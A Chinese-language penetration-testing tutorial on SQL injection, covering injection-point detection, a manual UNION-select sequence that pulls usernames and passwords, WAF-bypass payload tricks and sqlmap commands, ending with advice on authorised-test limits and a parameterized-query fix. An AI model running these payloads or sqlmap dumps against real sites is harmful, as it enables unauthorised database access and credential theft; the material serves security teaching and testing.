SQL 注入
判断注入点、绕过 WAF、用 sqlmap 收敛,以及什么时候该停下来手工打。
先判断有没有
最原始的办法往往最有效:在参数后面加一个单引号。
https://example.com/news?id=1' → 报错或页面异常
https://example.com/news?id=1'--+ → 恢复正常
正常 → 异常 → 加注释后恢复,这三步走完,注入点基本确认。
如果是数字型,id=1 和 id=2-1 返回同一条记录,也能说明问题。
六种技术,用哪种看回显
| 回显情况 | 用哪种 |
|---|---|
| 页面直接显示查询结果 | 联合查询 union select |
| 只显示报错信息 | 报错注入 extractvalue、updatexml |
| 什么都不显示,但真假状态不同 | 布尔盲注 |
| 连状态都一样 | 时间盲注 sleep() |
| 支持多语句 | 堆查询,可以直接写文件 |
| 有外带通道(DNS/HTTP) | 带外注入,最快 |
判断顺序是从上往下。能用联合就不用盲注——盲注跑一个库名要几百个请求,联合一条就够。
联合注入的手工流程
-- 1. 猜字段数
id=1 order by 3--+ -- 正常
id=1 order by 4--+ -- 报错,说明 3 个字段
-- 2. 找回显位
id=-1 union select 1,2,3--+
-- 3. 拿库名、表名、列名
id=-1 union select 1,database(),3--+
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
-- 4. 取数据
id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+
0x3a 是冒号,用来分隔字段。这个习惯比 concat_ws 兼容性好,不容易被过滤。
绕 WAF
WAF 的规则是正则匹配,绕过的思路就是让请求「对数据库有效、对正则无效」。
常见几个:
空格 → /**/、%0a、+、括号
or / and → ||、&&、|(MySQL 里 | 是位或,但常被当逻辑用)
= → like、regexp、between
union → ununionion(双写)、/*!50000union*/
select → 大小写混合、注释穿插
一个实际的例子:or 被拦,换成 | 就过了,因为 WAF 的规则只匹配 or,而 MySQL 里 1 | 1=2 的求值行为在布尔判断中依然可用。
id=35 | 1=2 union+select ...
+ 在这里当空格用,因为 URL 里 + 会被解码成空格。这条在 GET 请求里有效,POST 里要看服务端怎么解析。
sqlmap 怎么用才不浪费时间
基本用法:
# 从请求文件读,最稳,cookie、header、POST 体都带上
sqlmap -r req.txt --batch
# 指定注入点
sqlmap -r req.txt -p username --batch
# 直接给 URL,用 * 标注入点
sqlmap -u "https://example.com/news?id=1*" --batch
# 带 cookie 和 POST 体
sqlmap -u "https://example.com/login" --data="user=a&pass=b" --batch
几个参数值得记住:
--dbs 列库
--tables -D db 列表
--columns -T users 列字段
--dump -C user,pass 取数据
--level=5 --risk=3 测得更狠,也更容易把站打挂
--tamper=space2comment 用 /**/ 替换空格
--technique=U 只测联合注入,快
--threads=5 并发,别开太大
--flush-session 清缓存重跑
--level 和 --risk 不要一上来就拉满。 level 3 会测 UA 和 Referer,level 5 会测所有 header;risk 3 会尝试 OR 型注入,可能改到数据。测试环境随便,生产环境慎用。
什么时候该停手
sqlmap 跑出 --dbs 之后就停,这个习惯值得养。
再往下的 --dump 会拖真实数据。授权测试里,证明「能读到」和「读到多少」是两件事,前者是结论,后者是风险。看表结构、取一条脱敏样本,足够写报告了。
--os-shell 和 --file-write 更要慎重。这两个动作已经在「获取权限」和「修改系统」的边界上,写进报告前先确认授权范围里有没有允许。
修复
参数化查询。不是「过滤单引号」,是「不要把用户输入拼进 SQL」。
// 错的
$sql = "SELECT * FROM news WHERE id = " . $_GET['id'];
// 对的
$stmt = $pdo->prepare("SELECT * FROM news WHERE id = ?");
$stmt->execute([$_GET['id']]);
框架自带的 ORM 默认是参数化的,出问题的地方通常是「为了灵活」手写拼接的那几处。
参考
- 《sqlmap(附手工注入绕 WAF)实战 SRC 使用方法》,公众号 信安一把索
- 《sqlmap 最新版命令翻译(劝退指南)》,公众号存档